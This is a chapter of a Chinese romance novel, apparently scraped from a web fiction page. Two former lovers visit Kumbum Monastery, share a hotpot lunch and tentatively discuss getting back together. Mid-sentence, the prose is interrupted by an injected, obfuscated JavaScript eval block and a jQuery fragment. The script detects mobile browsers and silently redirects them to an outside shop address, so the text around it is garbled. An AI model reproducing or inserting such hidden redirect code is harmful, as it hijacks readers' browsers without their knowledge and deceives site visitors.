“今天去哪儿？”
“庙里。”
塔尔寺香火萦绕，过年期间有好些外地人到庙里来祈福。庄迭怕被人群冲散，一下车就紧紧跟着慕华年的步子。
慕华年由他跟着，沉默地沿着寺庙的白墙向前走，过了一会儿发现庄迭没有跟上来。
“怎么了？”他回头问。
这一刻，两个人之间没有任何阻碍，人群中央，唯独剩下他们之间留有空白。
一束阳光初升，佛塔的尖顶闪耀着金光，他们站在一排整齐的白塔旁。庄迭少有这样好的运气，他抓住了这个瞬间，拍下了一张难得的正面照。
“没什么，走吧。”
他满意地看着手上的照片，指腹轻抚镜框旁的光晕，将相机重新挂好，快步追上。
“我想回去做一面照片墙。”
庄迭若无其事地开口，慕华年“嗯”了一声，庄迭侧头看他，“不问为什么？也不问在哪？”
“你拍照好看，放哪都好看。”
慕华年说得真诚，庄迭也就不继续追问了。
倒是这个简单的问题惹得慕华年出神，他想起了被自己遗忘的那张拍立得。
那天他回到家，换衣服的时候从口袋里把照片小心翼翼拿出来。照片的右上角有一个折角，慕华年皱着眉试图抚平，可拍立得相纸娇贵，痕迹像是原本就长在上面一样。
那张照片最后被他收进护照夹里，夹在荷兰的那一页。
他不是故意丢掉的。
“慕华年，你信佛吗？”
大殿里，长长的跪拜队伍一直排到门口。慕华年本来要绕过去走，庄迭却站住脚排在最后，于是他又迈着步子走回来。
队伍看着长，可每个人的愿望呼之欲出，移动的速度很快。庄迭打量着周遭的一切，凑近慕华年耳边小声问。
他们面前是一对上了岁数的夫妻，小声许愿的时候面色凝重，结束后男人站起来头也不回地离开，女人起身的时候有些艰难。
慕华年静静看着这一切，没由来地想到一句话，贫贱夫妻百事哀。但他没有任何反应，对于庄迭的问题也是。
轮到庄迭了，他上前跪在那团灰扑扑的垫上，即使跪着也依旧挺着腰，背打得很直，从额角蜿蜒而下的线条贴着他的发梢，帽檐，最后坠进慕华年的外套。
他侧头望向慕华年，眼前的人背着光看不真切，他没有开口，因为他觉得慕华年有些犹豫。
就好像如果他们同时跪在佛前，就要暴露某些不可言说的亵渎。
庄迭心虚地笑了笑，转身闭眼，先向佛做了忏悔，连带着慕华年的那一份。
不过很快，他身旁很快传来动静，慕华年还是和他跪在了一起。
庄迭像是等到了什么，他双手合十，小声许下自己的愿望，话还说完，嘴角的笑意已经溢了出来。
直到最后，慕华年也没有许愿。
庄迭闭着眼睛没有看到，慕华年双手合十的瞬间看的不是大佛，而是身边虔诚许愿的人。
从庄迭跪下的那一瞬间，慕华年的视线就没有动过，他对庄迭的愿望心知肚明。
那愿望佛应不了，只有他能应。
可是他不敢应。
临走前慕华年将口袋里最后一百元投进功德箱，他的手拂过已经斑驳的红木箱子，抬眼，与庄严的大佛对视。
佛眼垂眸，笑观人心。
慕华年觉得自己被一览无余，但所幸，佛不会和任何人说他心里的秘密。
“所以，你许了什么愿望？”庄迭问。
慕华年用摇头做了回答。
绕过前庭，庄迭一直跟在慕华年身后，两个人从人群里挤出来走进岔路，拐了几个弯意外来到寺庙的后院。
庄迭犹豫了一下这里会不会对外开放，但慕华年步子很稳，他决定放心跟着他走。
他们来之前西宁也下了雪，再加之后院鲜有人来，越往里走地上的雪越干净。那雪看着厚厚的一层，庄迭的靴子踩上去却顷刻化成了水，只有鞋底与白雪交合时，咯吱作响。
庄迭下巴冻得绯红，二十多岁的人第一次觉得踩雪这么有意思。他脚步放慢，却也不开口叫慕华年等等，反正一抬头就能看到雪地上这串脚印。他玩着玩着，没忍住笑出声，慕华年又一次站住脚回头看他。
“你继续走，我会追上你的。”
此刻的他们，就像一个独自放学回家的小孩半路遇到了贪玩的蝴蝶。蝴蝶一会儿在花间，一会儿在树下，却总有一刻会回到小孩身边。
那是一种不言自明的心安，对蝴蝶，对小孩来说都是。
走了挺久，遇到一扇小门，慕华年推开，墙外依稀有人群的嘈杂声。
庄迭跟着他走近，从一排转经筒旁经过，他伸手去摸冰凉的圣器，问：“你来过这？”
“小时候来过，很多年前。这原来是开放的藏医院，后来迁走了。”
“藏医院？”庄迭动作微滞，“为什么会来医院？”
“就这么怕吗？”
慕华年问完有一瞬恍惚，他没回头，步子却故意放慢，足够庄迭将每个转经筒转满一圈。
“只是碰巧路过，爸对这些感兴趣，来了就顺便看看。不过最后什么也没买，就带了盒檀香。”
庄迭松了口气。
慕华年继续走，停在转经筒的尽头，离庄迭三步之遥，他问：“刚才许愿的时候那么认真，那你信佛吗？”
庄迭摇头，最后三个转经筒他每一个都摸得仔细，“张叔说他从战场下来的时候就只信自己。我觉得我受了他的影响。”
提到张宪，庄迭笑得温和，慕华年转身盯着他，又问：“那怎么非要去拜，还非要把每个转经筒都摸一遍？”
“人总还是喜欢把希望寻个寄托。”庄迭抬起头，眼瞳清亮，帽檐压下眉梢，却遮不住颤动的双睫。他微微眯眼，笑着说：“因为心有所愿，却力不从心。”
庄迭的手滑过转经筒的边缘，再往前一步，他就可以在佛前亲吻慕华年了。
只是他说完就低下了头，寂静雪景中有一两声轻笑传进慕华年的耳朵。
离开寺庙前，庄迭回头看了一眼佛塔，他突然想做个虔诚的信徒。
车一口气开到门源加油站。慕华年停好车熄了火。看了眼时间，估摸着下午两点才能到城里。于是他去便利店买了点吃的，把周韵做的最后两个油饼递给庄迭。
“你不饿吗？”庄迭接过他拧开的水瓶，顺了顺嘴里的东西。
“你先垫垫，进城再吃饭。”
“我问你呢。”
慕华年斜倚在车门边，低头看他，“早上吃多了，不饿。”
庄迭吃东西仔细，塑料袋摊在掌心，一点渣都不掉。慕华年看着，觉得此刻的他尤其像猫，那种吃完东西要舔爪子的猫。
“慕华年，”庄迭吃完最后一口，坐直了还是比站着的慕华年矮一截，只好仰头看他，“你不用这么小心翼翼的。”
“你不欠我的。”
不欠吗？
刚才庄迭在雪地里走，每一步都踩在慕华年心上，他在前面走得心不在焉，全副注意力都在那小心翼翼的动静上。
和庄迭在一起的时候太快乐了。只要庄迭在身边，不管说什么做什么，慕华年都觉得高兴。
可上次在一起，难道不就是贪图这份开心吗？
爱他，不就是因为他能给你你自己给不了的情绪？
正午太阳明晃晃的，庄迭看见慕华年地上的影子动了动，笑着继续说：“我是真想和好，特别想，三年前我上了飞机就后悔了，可我还是走了。我是成年人，懂你那句‘责任自负’什么意思，我没指望你轻易原谅。”他顿了顿，“你不用有什么负担，不用像上次那样答应我。”
“上次哪样？”
慕华年声压很低，庄迭更不敢抬头了，“就因为我那句‘你舍得让我遗憾吗’。”
从西宁到门源这段，夏天能看到整片的油菜花。可惜现在是冬天，放眼望去只有白茫茫的戈壁滩。
不过那样美的油菜花庄迭也还是见过的，在慕华年的手机里，是十四岁的他和家人的合照背景。
有些话一说出口就知道会是什么结果，就像现在，车里的沉默几乎要压死他，但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111608|195872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他不得不说。
爱这东西还是太玄妙，比佛经还难懂。盘问起爱的原因，他们说不出个所以然来。
可相爱的人偏偏都怕，怕自己才是更自私的那个。
“想吃什么？”慕华年这一问，才把庄迭从思绪里拉出来。
“火锅。”
慕华年找了找附近的馆子，正好有家涮羊肉。他们到的时候午市刚结束，就剩老板两口子在收拾。
老板娘热情地招呼他们坐下，提来一壶热茶，说：“刚泡的，可能没什么味儿，”她说着往后厨走，“要不喝奶茶？中午自家煮的，就是咸口的，你们外地小孩不知道喝不喝的惯。”
老板娘圆圆的脸上两个酒窝，庄迭看着就不自觉放松下来，朝她背影喊了声“谢谢”。
“中午羊肉卖得好，你们先点，让我家那口子现切。”
慕华年点点头，把勾好的菜单递给庄迭。庄迭正反翻了翻，看都没怎么看就递回去了。他没什么忌口的，不多的几样慕华年还都记得。
“看你们不像本地人啊，怎么是肃城车牌？”
吃到一半，老板忙完过来休息，店里就他们一桌，很自来熟地坐到旁边。
“我家是肃城的。”
慕华年回了一句，继续低头吃饭，他说不说话都让人觉得不好相处。老板没想到他会搭话，但见他不往下说，就笑着转向庄迭，“小伙子你呢？”
“算是江城的吧，不过没在那儿住多久。”
“江城好啊，”老板端着茶缸，腰上的围裙沾着刚才切羊肉溅的血水，凝固后的血迹只化作一团污，不过要不是慕华年观察仔细，一般人根本注意不到。
老板咂咂嘴继续说：“我们村去年考出去一个，好像就是去江城了。今年过年都没回来，说是路太远嫌麻烦，我看毕业更不会回来了。”说着叹了口气，“不回来也好啊，就剩我们这些老家伙了。”
留守村落的人大都爱聊这些，庄迭陪着聊了两句。老板被哄得高兴，差点把过年剩的酒拿出来，想起他们开车才作罢，结账时非要给打八折。不过庄迭还是按原价付了。
这顿饭让他踏实不少，热气腾腾的锅子，早上现宰的羊肉，菜虽然种类不多但都很新鲜，他很久没吃过火锅，也很久没和人说过这么多话。
有时候晚上路过莱顿，庄迭会不自觉地停下脚步，他觉得自己越来越像从前的慕华年，不知道是好是坏。
“累吗？”
回到车上，车里一股火锅味。慕华年拿起通风口的清新剂喷了两下，打开内循环。
这车有些老，内循环一启动，就算不发动也嗡嗡响，两个人的沉默在这时显得更加明显。
“连续跑十几天了，今天歇歇吧。回酒店收拾一下，睡个觉，晚上随便逛逛。”
庄迭应了声好，拧动车钥匙。慕华年不知在想什么，直勾勾盯着刚才吃饭的店。庄迭打了转向灯左右看看，往右转头时随口问：“刚吃饭的时候就挺沉默的，想什么呢？”
慕华年顿了顿，回过神，“人和人的日子终究还是不一样。幸福这东西，求佛求不来。”
从进店起，慕华年就想起寺庙里那对貌合神离的夫妻。他们是大多数中年夫妻的缩影，相敬如宾，但难掩岁月蹉跎后的凉薄。
可火锅店老板两口子不一样。店面不大，收银台贴着儿子高中的奖状。老板娘收拾得利索，一个人管着前厅，虽然忙但精神头很好。老板年纪大些，手上都是握刀的老茧，裤腿上混着血渍和水渍，看着疲惫，但说起老婆孩子，眼角的皱纹里都是笑。
年纪差不多的两对夫妻，日子却过得天差地别。
庄迭懂他的意思，他看过去的时候，正好后视镜里老板娘拿着洗好的围裙出来，将那张满是生活的布料晒在阳光正好的时候。
“可能大多数感情到最后，都是靠责任在撑着，不是爱。”
庄迭说得很平静，眼睛看着前方。慕华年却因为这句话转过头来。
“但这也没什么，”庄迭笑了笑，“或许我们会是那极少数爱到最后的，又或许我们也不过尔尔，可至少相爱的时候别分开，你说呢？”